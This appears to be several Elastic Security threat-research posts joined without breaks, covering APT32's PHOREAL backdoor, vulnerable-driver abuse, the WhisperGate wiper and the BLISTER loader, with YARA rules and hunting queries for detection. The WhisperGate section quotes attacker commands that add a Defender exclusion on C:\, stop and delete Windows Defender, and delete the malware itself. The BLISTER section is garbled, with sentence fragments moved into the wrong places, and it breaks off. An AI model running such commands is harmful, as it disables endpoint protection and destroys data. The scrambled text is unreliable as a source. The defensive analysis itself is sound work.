What is the impact?

APT32 largely targets victims with political or economic interests in Southeast Asia, specifically Vietnam.

What is Elastic doing about it?

Elastic Security detailed how to triage one of these threat alerts, extracted observables for endpoint and network filtering, and produced a new malware signature for identification and mitigation of the threat across the fleet of deployed Elastic Agents.

Investigation Details

While conducting Threat Discovery & Monitoring operations, Elastic Security researchers identified a cluster of shellcode_thread Windows memory protection alerts generated from an Elastic Agent endpoint sensor. These particular alerts were interesting because they all occurred within the same cluster, and unusually they targeted the control.exe process. The Windows control.exe process handles the execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Generally when we observe false positives for the shellcode_thread protection, it is identified across a broad user-base and in many cases it is attributed to various gaming anti-cheat or DRM (Digital Rights Management) mechanisms. In this case, a single cluster and a Microsoft signed target process was atypical, and worthy of further investigation.

You can read more about Elastic Security’s memory protections HERE and about in-memory attacks HERE.

With our interest piqued from the outlier characteristics of the alerts, we investigated further to validate and characterize the threat:

Targeted process is a signed Windows binary

...
"process": {
     "args": [
       "control.exe",
       "Firewall.cpl",
       "{2D48D219-C306-4349-AE1F-09744DFFB5B9}"
     ],
     "Ext": {
       "code_signature": [
         {
           "trusted": true,
           "subject_name": "Microsoft Windows",
           "exists": true,
           "status": "trusted"
         }
       ],
       "dll": [
...

Unsigned loaded .dll

...
   "Ext": {
     "mapped_address": 1945501696,
     "mapped_size": 21135360
   },
   "path": "C:\\Windows\\SysWOW64\\tscon32.dll",
   "code_signature": [
     {
       "exists": false
     }
   ],
   "name": "tscon32.dll",
   "hash": {
     "sha1": "007970b7a42852b55379ef4cffa4475865c69d48",
     "sha256": "ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33",
     "md5": "2b6da20e4fc1af2c5dd5c6f6191936d1"
   }
 },
...

Starting module from the alerting thread

...
 "pe": {
   "original_file_name": "CONTROL.EXE"
 },
 "name": "control.exe",
 "pid": 5284,
 "thread": {
   "Ext": {
     "start_address_module": "C:\\Windows\\SysWOW64\\tscon32.dll",
...

Alerting memory region metadata

...
"memory_region": {`
   "region_size": 73728,
   "region_protection": "RWX",
   "allocation_base": 81395712,
   "bytes_allocation_offset": 0,
   "allocation_type": "PRIVATE",
   "memory_pe_detected": true,
   "region_state": "COMMIT",
   "strings": [
     "QSSSSSSh ",
     ...
     "bad cast",
     "Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}",
     "Netapi32.dll",
     "NetWkstaGetInfo",
     "NetApiBufferFree",
     "\\\\.\\pipe\\{A06F176F-79F1-473E-AF44-9763E3CB34E5}",
     "list<T> too long",
     "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll",
     "DllEntry",
     ...
     ".?AVbad_alloc@std@@",
     "C:\\Windows\\syswow64\\control.exe",
     ":z:zzzzzz7",
     ...
     "InternalName",
     "mobsync.exe",
     "LegalCopyright",
...

Thread data for pivoting

...
"thread": {
 "Ext": {
   "start_address_bytes": "8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300",
   ...
   "start_address_bytes_disasm": "mov edi, edi\npush ebp\nmov ebp, esp\ncall 0x000043f0\ncall 0x000043ea\npush eax\ncall 0x000043d0\ntest eax, eax\njnz 0x00000038\npush dword ptr [ebp+0x08]"
 },
...

From the example alert we first identify the start_address_module which is the dll/module where the thread began. C:\Windows\SysWOW64\tscon32.dll is the start_address_module for the thread that we’ve alerted on. It’s also the only unsigned dll loaded, so a great place to focus our efforts. When checking the hash value in VirusTotal, to identify previously disclosed information about the sample, we did not see any results.

Digging deeper, we looked at the start_address_bytes, which are the first 32 bytes of our alerting thread. We can use the value of the start_address_bytes (8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300) to search for pivots in VirusTotal by querying content: {8bff558bec56e83f3e0000e8343e000050e8143e000085c0752a8b750856e821}. We identified relatively few results, but they included the below entry first submitted in July 2021.

In researching the results from VirusTotal, we could see that threat researcher Felix Bilstein (@fxb_b) authored a crowdsourced YARA rule identifying this as the PHOREAL backdoor. Moving on to the CONTENT tab, we can compare some of the strings from our alert with what has been previously reported to VirusTotal.

Using the unique strings we identified above and the start_address_bytes, we can create a YARA signature by converting the unique strings ($a) and the start_address_bytes ($b) into hex values as shown below.

Converted YARA strings

strings:
          \\  "\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}"  ascii wide
    $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
            30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
            31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
            2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
            45 00 35 00 7D 00 }

          \\  "Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}"  ascii wide
    $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
            33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
            32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
            37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

          \\  "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll"  ascii
    $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
            34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

          \\  PHOREAL start_address_bytes sequence
          \\  mov edi, edi; push ebp; mov ebp, esp; call 0x000043f0;
          \\  call 0x000043ea; push eax; call 0x000043d0; test eax, eax;
          \\  jnz 0x00000038; push dword ptr [ebp+0x08]
    $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
            00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
condition:
    2 of them

This rule when deployed to the Elastic Agent will identify PHOREAL to customers and backstop prevention already provided through the shellcode_thread memory protection (in customer environments with memory protection turned on). In our case this rule’s deployment also enabled the collection of the malicious thread using the same mechanism detailed in our Collecting Cobalt Strike Beacons article.

Shortly after the new YARA artifact was deployed we had a new malware_signature alert in hand with the malicious thread captured from memory. Manual binary triage from our Malware Analysis and Reverse Engineering (MARE) Team quickly confirmed the sample was PHOREAL/RIZZO by comparing the structure and functions between our sample and past reporting. Further, they were able to extract an RC4 encrypted domain from an RCDATA resource as described in a 2018 CYLANCE OceanLotus whitepaper.

The domain identified by MARE (thelivemusicgroup[.]com) currently resolves to 103.75.117[.]250 which is owned by Oneprovider[.]com, a dedicated server hosting company based out of Canada with data centers distributed globally.

https://ipinfo.io/ query results for 103.75.117[.]250

{
  "ip": "103.75.117[.]250",
  "city": "Hong Kong",
  "region": "Central and Western",
  "country": "HK",
  "loc": "22.2783,114.1747",
  "org": "AS133752 Leaseweb Asia Pacific pte. ltd.",
  "timezone": "Asia/Hong_Kong",
  "asn": {
    "asn": "AS133752",
    "name": "Leaseweb Asia Pacific pte. ltd.",
    "domain": "leaseweb.com",
    "route": "103.75.117[.]0/24",
    "type": "hosting"
  },
  "company": {
    "name": "Oneprovider.com - Hong Kong Infrastructure",
    "domain": "oneprovider[.]com",
    "type": "hosting"
  },
  "privacy": {
    "vpn": false,
    "proxy": false,
    "tor": false,
    "relay": false,
    "hosting": true,
    "service": ""
  },
  "abuse": {
    "address": "1500 Ste-Rose LAVAL H7R 1S4 Laval Quebec, Canada",
    "country": "CA",
    "email": "info@oneprovider.com",
    "name": "ONE PROVIDER",
    "network": "103.75.117[.]0/24",
    "phone": "+1 514 286-0253"
  },
  "domains": {
    "ip": "103.75.117[.]250",
    "total": 2,
    "domains": [
      "thelivemusicgroup[.]com",
      "cdn-api-cn-1[.]com"
    ]
  }

Most of the interesting information about the domain is privacy guarded, but the “Updated” and “Created” dates in the below figure might be useful for bounding how long this domain has been used maliciously.

The Elastic Agent appears to have been deployed post-compromise which limited our ability to determine the vector of initial access. A 2017 Mandiant report indicates that PHOREAL may be deployed in an “establish foothold” capacity to allow for victim triage and follow-on post-exploitation tools.

Analysis

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries and victims of intrusions.

Adversary Assessment Justification

We assess with high confidence based on observed activity and previous reporting that REF4322 is APT32/OceanLotus and the actor behind this incident. APT32 has been active since 2014 notably targeting Southeast Asian governments and businesses or other international businesses with interests in Vietnam. APT32 is the only group currently identified as operating the PHOREAL backdoor, and our victim matches the geographic and industry vertical profile of typical and specific prior APT32 victims.

Conclusion

YARA Rules

We have created a YARA rule to identify this PHOREAL activity.

Yara rule to detect REF4322/APT32 in-memory backdoor PHOREAL/Rizzo

rule Windows_Trojan_PHOREAL {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-02-16"
        last_modified = "2022-02-16"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PHOREAL"
        threat_name = "Windows.Trojan.PHOREAL"
        description = "Detects REF4322/APT32 in-memory backdoor PHOREAL/Rizzo."
        reference_sample = "88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de"


    strings:
              \\  "\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}"  ascii wide
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
                30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
                31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
                2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
                45 00 35 00 7D 00 }

              \\  "Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}"  ascii wide
        $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
                33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
                32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
                37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

              \\  "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll"  ascii
        $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
                34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

              \\  PHOREAL start_address_bytes sequence
        $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
                00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
    condition:
        2 of them
}

Defensive Recommendations

The following steps can be leveraged to improve a network’s protective posture:

1. Enable Elastic Security Memory Protection on Windows endpoints
2. Leverage the included YARA signatures above to determine if PHOREAL activity exists within your organization
3. Monitor or block network traffic to or from identified network IOCs and remediate impacted systems accordingly.

References

The following research was referenced throughout the document:

• https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf
• https://www.mandiant.com/resources/cyber-espionage-apt32
• https://www.secureworks.com/research/threat-profiles/tin-woodlawn
• https://attack.mitre.org/software/S0158/
• https://attack.mitre.org/groups/G0050/

Observables

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

• Ransomware actors are leveraging vulnerable drivers to tamper with endpoint security products.
• Elastic Security released 65 YARA rules to detect vulnerable driver abuse.
• Elastic Endpoint (8.3+) protects users from this threat.

Background

In 2018, Gabriel Landau and Joe Desimone presented a talk at Black Hat covering the evolution of kernel mode threats on Windows. The most concerning trend was towards leveraging known good but vulnerable drivers to gain kernel mode execution. We showed this was practical, even with hypervisor mode integrity protection (HVCI) and Windows Hardware Quality Labs (WHQL) signing requirement enabled. At the time, the risk to everyday users was relatively low, as these techniques were mostly leveraged by advanced state actors and top red teams.

Fast forward to 2022, and attacks leveraging vulnerable drivers are a growing concern due to a proliferation of open source tools to perform these attacks. Vulnerable drivers have now been used by ransomware to terminate security software before encrypting the system. Organizations can reduce their risk by limiting administrative user permissions. However, it is also imperative for security vendors to protect the user-to-kernel boundary because once an attacker can execute code in the kernel, security tools can no longer effectively protect the host. Kernel access gives attackers free rein to tamper or terminate endpoint security products or inject code into protected processes.

This post includes a primer on kernel mode attacks, along with Elastic’s recommendations for securing users from kernel attacks leveraging vulnerable drivers.

Attack flow

There are a number of flaws in drivers that can allow attackers to gain kernel mode access to fully compromise the system and remain undetected. Some of the most common flaws include granting user mode processes write access to virtual memory, physical memory, or model-specific registers (MSR). Classic buffer overflows and missing bounds checks are also common.

A less common driver flaw is unrestricted handle duplication. While this may seem like innocuous functionality at first glance, handle duplication can be leveraged to gain full kernel code execution by user mode processes. For example, the latest Process Explorer driver by Microsoft exposes such a function.

An attacker can leverage this vulnerability to duplicate a sensitive handle to raw physical memory present in the System (PID 4) process.

After obtaining the cr3 value, the attacker can walk the page tables to convert virtual kernel addresses to their associated physical addresses. This grants an arbitrary virtual read/write primitive, which attackers can leverage to easily tamper with kernel data structures or execute arbitrary kernel code. On HVCI-enabled systems, thread control flow can be hijacked to execute arbitrary kernel functions as shown below.

We reported this issue to Microsoft in the vulnerable driver submission portal on July 26, but as of this writing have not received a response. We hope Microsoft will consider this a serious security issue worth addressing. Ideally, they will release a fixed version without the vulnerable IOCTLs and include it in the default HVCI blocklist. This would be consistent with the blocking of the ProcessHacker (now known as System Informer) driver for the same flaw.

Blocklisting

Blocklisting prevents known vulnerable drivers from loading on a system, and is a great first step to the vulnerable driver problem. Blocklisting can raise the cost of kernel attacks to levels out of reach for some criminal groups, while maintaining low false positive rates. The downside is it does not stop more advanced groups, which can identify new, previously-unknown, vulnerable drivers.

Microsoft maintains a catalog of known exploited or malicious drivers, which should be a minimum baseline. This catalog consists of rules using various combinations of Authenticode hash, certificate hash (also known as TBS), internal file name, and version. The catalog is intended to be used by Windows Defender Application Control (WDAC). We used this catalog as a starting point for a more comprehensive list using the YARA community standard.

To expand on the existing list of known vulnerable drivers, we pivoted through VirusTotal data with known vulnerable import hashes and other metadata. We also combed through public attack tooling to identify additional vulnerable drivers. As common practice for Elastic Security, we made our blocklist available to the community. In Elastic Endpoint Security version 8.3 and newer, all drivers are validated against the blocklist in-line before they are allowed to load onto the system (shown below).

Allowlisting

One of the most robust defenses against this driver threat is to only allow the combination of driver signer, internal file name, version, and/or hashes, which are known to be in use. We recommend organizations be as strict as feasible. For example, do not blanket trust all WHQL signed drivers. This is the classic application control method, albeit focusing on drivers. An organization’s diversity of drivers should be more manageable than the entirety of user mode applications. Windows Defender Application Control (WDAC) is a powerful built-in feature that can be configured this way. However, the learning curve and maintenance costs may still be too high for organizations without well-staffed security teams. To reap most of the benefits of the allowlisting approach, but reduce the cost of implementation to the users (ideally to blocklisting levels), we recommend two approaches in tandem: behavior control and alert on first seen.

Behavior control

The concept behind behavior control is to produce a more manageable set of allowlistable behavior choke points that can be tuned for high confidence. For example, we can create a behavior control around which applications are allowed to write drivers to disk. This may start with a relatively loose and simple rule:

From there, we can allowlist the benign applications that are known to exhibit this behavior. Then we receive and triage hits, tune the rule until it becomes high confidence, and then ship as part of our malicious behavior protection. Elastic SIEM users can use the same technique to create custom Detection Engine rules tuned specifically for their environment.

First seen

Elastic Security in 8.4 adds another powerful tool that can be used to identify suspicious drivers. This is the “New Terms” rule type, which can be used to create an alert when a term (driver hash, signer, version, internal file name, etc) is observed for the first time.

This empowers security teams to quickly surface unusual drivers the first time they’re seen in their environment. This supports a detection opportunity for even previously unknown vulnerable drivers or other driver-based adversary tradecraft.

Conclusion

Vulnerable driver exploitation, once relegated to advanced adversaries, has now proliferated to the point of being used in ransomware attacks. The time for the security community to come together and act on this problem is now. We can start raising the cost by collaborating on blocklists as a community. We should also investigate additional detection strategies such as behavior control and anomaly detection to raise the cost further without requiring significant security expertise or resources to achieve.

• Elastic Security provides new analysis and insights into targeted campaign against Ukraine organizations with destructive malware reported over the weekend of Jan 15, 2022
• Techniques observed include process hollowing, tampering with Windows Defender, using a Master Boot Record (MBR) wiper, and file corruptor component
• Elastic Security prevents each stage of the described campaign using prebuilt endpoint protection features

Overview

Over this past weekend (1/15/2022), Microsoft released details of a new campaign targeting Ukrainian government entities and organizations with destructive malware. In a multi-staged attack, one malware component known as WhisperGate utilizes a wiping capability on the Master Boot Record (MBR), making any machine impacted inoperable after boot-up.

Within another stage, a file infector component is used to corrupt files in specific directories with specific file extensions. The elements used in this campaign lack the common characteristics of a ransomware compromise – in this case the adversary uses the same Bitcoin address for each victim and offers no sign of intent to decrypt the victim’s machine.

The Ukrainian National Cyber Security Coordination Center has been referring to this threat activity on its official Twitter and Facebook accounts as Operation Bleeding Bear.

Elastic users are fully protected from attacks like these through our advanced malware detection and Ransomware Protection capabilities in the platform. The Elastic Security team continues to monitor these events. This case highlights the importance of prevention when it’s up against ransomware and malware with destructive capabilities.

Stage 1: WhisperGate MBR payload

The Master Boot Record (MBR) is software that executes stored start-up information and, most importantly, informs the system of the location of the bootable partition on disk that contains the user’s operating system. If tampered with, this can result in the system being inoperable – a common tactic for malware and ransomware campaigns over the years to interrupt operation of the infected system.

The stage 1 binary is named stage1.exe and has low complexity. A 8192 byte buffer containing the new MBR data that includes the ransom note is allocated on the stack. A file handle is retrieved from CreateFileW pointing to the first physical drive which represents the MBR. That file handle is then called by WriteFile which takes only 512 bytes from the buffer writing over the Master Boot Record.

Malware analysis breakdown (Stages 1-4)

The host is subsequently rendered inoperable during the next boot-up sequence. Below is a screenshot showing the ransom note from an affected virtual machine.

Contained within the ransom note are instructions soliciting payment to a bitcoin wallet address of 1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv. The wallet does not appear to have received funds from victims as of the publication of this post.

Stage 2/3: Discord downloader and injector

Once the payload has gained a foothold, further destructive capabilities are facilitated by the stage 2 binary, called stage2.exe. This binary pulls down and launches a payload hosted via the Discord content delivery network, a recently reported approach which is increasingly being used by malicious actors.

The obfuscated .NET payload (described as Stage 3 below) is then executed in memory, setting off a number of events including:

• Writing and executing a VBS script that uses PowerShell to add a Windows Defender exclusion on the root directory (C:)

Writing and executing a VBS script

"C:\Windows\System32\WScript.exe""C:\Users\jim\AppData\Local\Temp\Nmddfrqqrbyjeygggda.vbs"

Uses PowerShell to add a Windows Defender exclusion

powershell.exe Set-MpPreference -ExclusionPath 'C:\'

AdvancedRun, a program used to run Windows applications with different settings, is then dropped to disk and executed in order to launch the Service Control Manager and stop the Windows Defender service (WinDefend).

AdvancedRun is used to stop Windows Defender

"C:\Users\jim\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" `
  /WindowState 0 /CommandLine "stop WinDefend"  /StartDirectory "" /RunAs 8 /Run

AdvancedRun is used again when launching PowerShell to recursively delete the Windows Defender directory and its files.

AdvancedRun deleting the Windows Defender directory

"C:\Users\jim\AppData\Local\Temp\AdvancedRun.exe" `
  /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 `
  /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" `
  /StartDirectory "" /RunAs 8 /Run

Copies InstallUtil.exe is a command-line utility that allows users to install and uninstall server resources from the local machine into the user’s %TEMP% directory. This action leverages the file for process hollowing by launching it in a suspended state.

It then proceeds to allocate memory (VirtualAllocEx , write the file corruptor payload (described as the Final Stage below) into memory (WriteProcessMemory), modify the thread entry point (SetThreadContext) to point to the file corruptor entry point, and start execution of the file corruptor (ResumeThread).

Final stage: File corruptor

The final file corruptor payload is loaded in memory via process hollowing to the InstallUtil process. The file corruptor:

• Targets any local hard drives, attached USB drives, or mounted network shares
• Scans directories for files matching internal hard-coded extension list (excluding the Windows folder)

.3DM .3DS .602 .7Z .ACCDB .AI .ARC .ASC .ASM .ASP .ASPX .BACKUP .BAK .BAT .BMP .BRD
.BZ .BZ2 .C .CGM .CLASS .CMD .CONFIG .CPP .CRT .CS .CSR .CSV .DB .DBF .DCH .DER .DIF
.DIP .DJVU.SH .DOC .DOCB .DOCM .DOCX .DOT .DOTM .DOTX .DWG .EDB .EML .FRM .GIF .GO
.GZ .H .HDD .HTM .HTML .HWP .IBD .INC .INI .ISO .JAR .JAVA .JPEG .JPG .JS .JSP .KDBX
.KEY .LAY .LAY6 .LDF .LOG .MAX .MDB .MDF .MML .MSG .MYD .MYI .NEF .NVRAM .ODB .ODG .ODP
.ODS .ODT .OGG .ONETOC2 .OST .OTG .OTP .OTS .OTT .P12 .PAQ .PAS .PDF .PEM .PFX .PHP .PHP3
.PHP4 .PHP5 .PHP6 .PHP7 .PHPS .PHTML .PL .PNG .POT .POTM .POTX .PPAM .PPK .PPS .PPSM .PPSX
.PPT .PPTM .PPTX .PS1 .PSD .PST .PY .RAR .RAW .RB .RTF .SAV .SCH .SHTML .SLDM .SLDX .SLK
.SLN .SNT .SQ3 .SQL .SQLITE3 .SQLITEDB .STC .STD .STI .STW .SUO .SVG .SXC .SXD .SXI .SXM
.SXW .TAR .TBK .TGZ .TIF .TIFF .TXT .UOP .UOT .VB .VBS .VCD .VDI .VHD .VMDK .VMEM .VMSD
.VMSN .VMSS .VMTM .VMTX .VMX .VMXF .VSD .VSDX .VSWP .WAR .WB2 .WK1 .WKS .XHTML .XLC .XLM
.XLS .XLSB .XLSM .XLSX .XLT .XLTM .XLTX .XLW .YML .ZIP

• Overwrites the start of each targeted file with 1MB of static data (byte 0xCC), regardless of file size
• Renames each targeted file to a randomized extension
• Deletes self with the command:

Overwriting, renaming, and deleting files

cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q <running process path>

MBR protection with Elastic Security

Changes to the MBR are particularly strong signals of anomalous and destructive activity typically associated with ransomware. To counteract this, Elastic security researchers built an MBR protection component based around these signals into our multi-layered ransomware protection feature.

When a process attempts to overwrite the contents of the MBR, the prewrite buffer and other associated process metadata will be analyzed inline before any changes are written to disk. If the activity is deemed malicious in nature, the process will either be terminated immediately (prevention mode) and / or an appropriate ransomware alert will be generated (prevention and detection modes) to allow security operators time to respond.

When configured in prevention mode, Elastic Security’s ransomware protection ensures that the integrity of the MBR is fully preserved, with no changes ever reaching disk thanks to the synchronous framework leveraged by the feature — effectively preventing the ransomware attack in their tracks as the offending process is terminated.

When WriteFile is invoked on PhysicalDrive0 on a host running Elastic Security with ransomware protection enabled, the pending change will immediately be analyzed and deemed malicious. Afterwards, the process will be terminated, the endpoint user will be alerted via a popup notification, and a ransomware prevention alert will be sent to and stored in Elasticsearch. The intended ransom note can be easily deciphered after Base64 decoding the contents of the prewrite buffer found in the alert within Kibana.

It is important to note that while this behaviour is detected by Elastic, it is not specific to this payload and rather the behaviour the payload is exhibiting. This increases our chance of being able to detect and prevent malicious behaviors, even when a static signature of the malware is not known. Threat actors find this kind of control more difficult to evade than traditional, signature-based detection and prevention approaches.

Observing WhisperGate in Elastic Security

By observing the process hash of the stage 1 dropper above (a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92) via the process.hash function within Elastic Security, we can isolate the ransomware alert and analyze the blocked attempt at overwriting the MBR.

As we can see, the data is stored as a Base64 encoded string in Elasticsearch. Decoded, we can see the contents of the ransom note that would be displayed to the end user of an affected system.

Alert breakdown and defensive recommendations

The following alerts were triggered in Elastic Security during our investigations:

Endpoint Security Integration Alerts

Stage 1 - MBR Wiper

(a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92)

• Malware Prevention Alert
• Ransomware Prevention Alert (MBR overwrite)

Stage 2 - Downloader

(dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78)

• Malware Prevention Alert

Stage 3 + Stage 4 - Injector/File Corruptor

(34CA75A8C190F20B8A7596AFEB255F2228CB2467BD210B2637965B61AC7EA907)

• Ransomware Prevention Alert (canary files)
• Malicious Behaviour Prevention Alert - Binary Masquerading via Untrusted Path
• Memory Threat Prevention Alert

Prebuilt Detection Engine Alerts

The following existing public detection rules can also be used to detect some of the employed techniques:

• Suspicious Execution via Windows Management Instrumentation (WMI)
• Windows Defender Exclusions Added via PowerShell
• Connection to Commonly Abused Web Services
• Process Execution from an Unusual Directory
• Windows Script Executing PowerShell
• Disabling Windows Defender Security Settings via PowerShell

Hunting queries

Detect attempt to tamper with Windows defender settings via NirSoft AdvancedRun executed by the Stage 3 injector:

Detect attempts to tamper with Windows Defender

process where event.type == "start" and
process.pe.original_file_name == "AdvancedRun.exe" and
process.command_line :
   ("*rmdir*Windows Defender*Recurse*",
    "*stop WinDefend*")

Masquerade as InstallUtil via code injection:

Identifies code injection with InstallUtil

process where event.type == "start" and
process.pe.original_file_name == "InstallUtil.exe" and
not process.executable : "?:\\Windows\\Microsoft.NET\\*"

MITRE ATT&CK

• T1561.002 - Disk Structure Wipe
• T1562.001 - Disable or Modify Tools
• T1047 - Windows Management Instrumentation
• T1102 - Web Service
• T1055 - Process Injection
• T1027 - Obfuscated Files or Information

Summary

These targeted attacks on Ukraine using destructive malware match a similar pattern observed in the past such as NotPetya. By leveraging different malware components to wipe machines and corrupt files, it’s apparent there was no intent to recover any funds, but likely a technique used to sow chaos and doubt into Ukraine’s stability.

As these events are still ongoing, we wanted to release some initial analysis and observations from our perspective. We also wanted to highlight the prevention capabilities of Elastic Security across each stage of this attack, available to everyone today.

Existing Elastic Security users can access these capabilities within the product. If you’re new to Elastic Security, take a look at our Quick Start guides (bite-sized training videos to get you started quickly) or our free fundamentals training courses. You can always get started with a free 14-day trial of Elastic Cloud.

Indicators

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

• Elastic Security uncovered a stealthy malware campaign that leverages valid code signing certificates to evade detection
• A novel malware loader, BLISTER was used to execute second stage malware payloads in-memory and maintain persistence
• The identified malware samples have very low or no detections on VirusTotal
• Elastic provided layered prevention coverage from this threat out of the box

For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:

• BLISTER Malware Analysis
• BLISTER Configuration Extractor

Overview

The Elastic Security team identified a noteworthy cluster of malicious activity after reviewing our threat prevention telemetry. A valid code signing certificate is used to sign malware to help the attackers remain under the radar of the security community. We also discovered a novel malware loader used in the campaign, which we’ve named BLISTER. The majority of the malware samples observed have very low, or no, detections in

Elastic’s layered approach to preventing attacks protects from this and similar threats.

In one prevented attack, our malicious behavior prevention triggered multiple high-confidence alerts for Execution via Renamed Signed Binary Proxy, Windows Error Manager/Reporting Masquerading, and Suspicious PowerShell Execution via Windows Scripts. Further, our memory threat prevention identified and stopped BLISTER from injecting its embedded payload to target processes.

Finally, we have additional coverage from our open source detection engine rules [

Details

Certificate abuse

A key aspect of this campaign is the use of a valid code signing certificate issued by

We responsibly disclosed the activity to Sectigo so they could take action and revoke the abused certificates. Below shows details about the compromised certificate. We have observed malware signed with this certificate as early as September 15, 2021.

Issuer: Sectigo Public Code Signing CA R36_Issued to: _Blist LLC_Serial number: _2f4a25d52b16eb4c9dfe71ebbd8121bb_Valid from: ‎_Monday, ‎August ‎23, ‎2021 4:00:00 PM_Valid to: ‎_Wednesday, ‎August ‎24, ‎2022 3:59:59 PM

VirusTotal. The infection vector and goals of the attackers remain unknown at this time.1] [2]. To ensure coverage for the entire community, we are including YARA rules and IoCs to help defenders identify impacted systems.Sectigo. Adversaries can either steal legitimate code-signing certificates or purchase them from a certificate authority directly or through front companies. Executables with valid code signing certificates are often scrutinized to a lesser degree than unsigned executables. Their use allows attackers to remain under the radar and evade detection for a longer period of time.

BLISTER malware loader

Another interesting aspect of this campaign is what appears to be a novel malware loader with limited detections in VirusTotal. We refer to it as the BLISTER loader. The loader is spliced into legitimate libraries such as colorui.dll, likely to ensure the majority of the on-disk footprint has known-good code and metadata. The loader can be initially written to disk from simple dropper executables. One such dropper writes a signed BLISTER loader to %temp%\Framwork\axsssig.dll and executes it with rundll32. LaunchColorCpl is a common DLL export and entry point name used by BLISTER as seen in the command line parameters:

Rundll32.exe C:\Users\user\AppData\Local\Temp\Framwork\axsssig.dll,LaunchColorCpl

Once executed, BLISTER decodes bootstrapping code stored in the resource section with a simple 4-byte XOR routine shown below:

The bootstrapping code is heavily obfuscated and initially sleeps for 10 minutes. This is likely an attempt to evade sandbox analysis. After the delay, it decrypts the embedded malware payload. We have observed CobaltStrike and BitRat as embedded malware payloads. Once decrypted, the embedded payload is loaded into the current process or injected into a newly spawned WerFault.exe process.

Finally, BLISTER establishes persistence by copying itself to the C:\ProgramData folder, along with a re-named local copy of rundll32.exe. A link is created in the current user’s Startup folder to launch the malware at logon as a child of explorer.exe.

YARA

We have created a YARA rule to identify this BLISTER activity:

rule Windows_Trojan_Blister{
    meta:
        author = “Elastic Security”
        creation_date = "2021-12-20"
        last_modified = "2021-12-20"
        os = "Windows"
        category_type = "Trojan"
        family = "Blister"
        threat_name = "Windows.Trojan.Blister"
        reference_sample = "0a7778cf6f9a1bd894e89f282f2e40f9d6c9cd4b72be97328e681fe32a1b1a00"

    strings:
        $a1 = {8D 45 DC 89 5D EC 50 6A 04 8D 45 F0 50 8D 45 EC 50 6A FF FF D7}
        $a2 = {75 F7 39 4D FC 0F 85 F3 00 00 00 64 A1 30 00 00 00 53 57 89 75}
condition:
        any of them
}

Defensive recommendations

Elastic Endpoint Alerts

Elastic Endpoint Security provides deep coverage for this threat by stopping the in-memory thread execution and preventing malicious behaviors.

Memory Threat Detection Alert: Shellcode Injection

Malicious Behavior Detection Alert: Execution via Renamed Signed Binary Proxy

Hunting queries

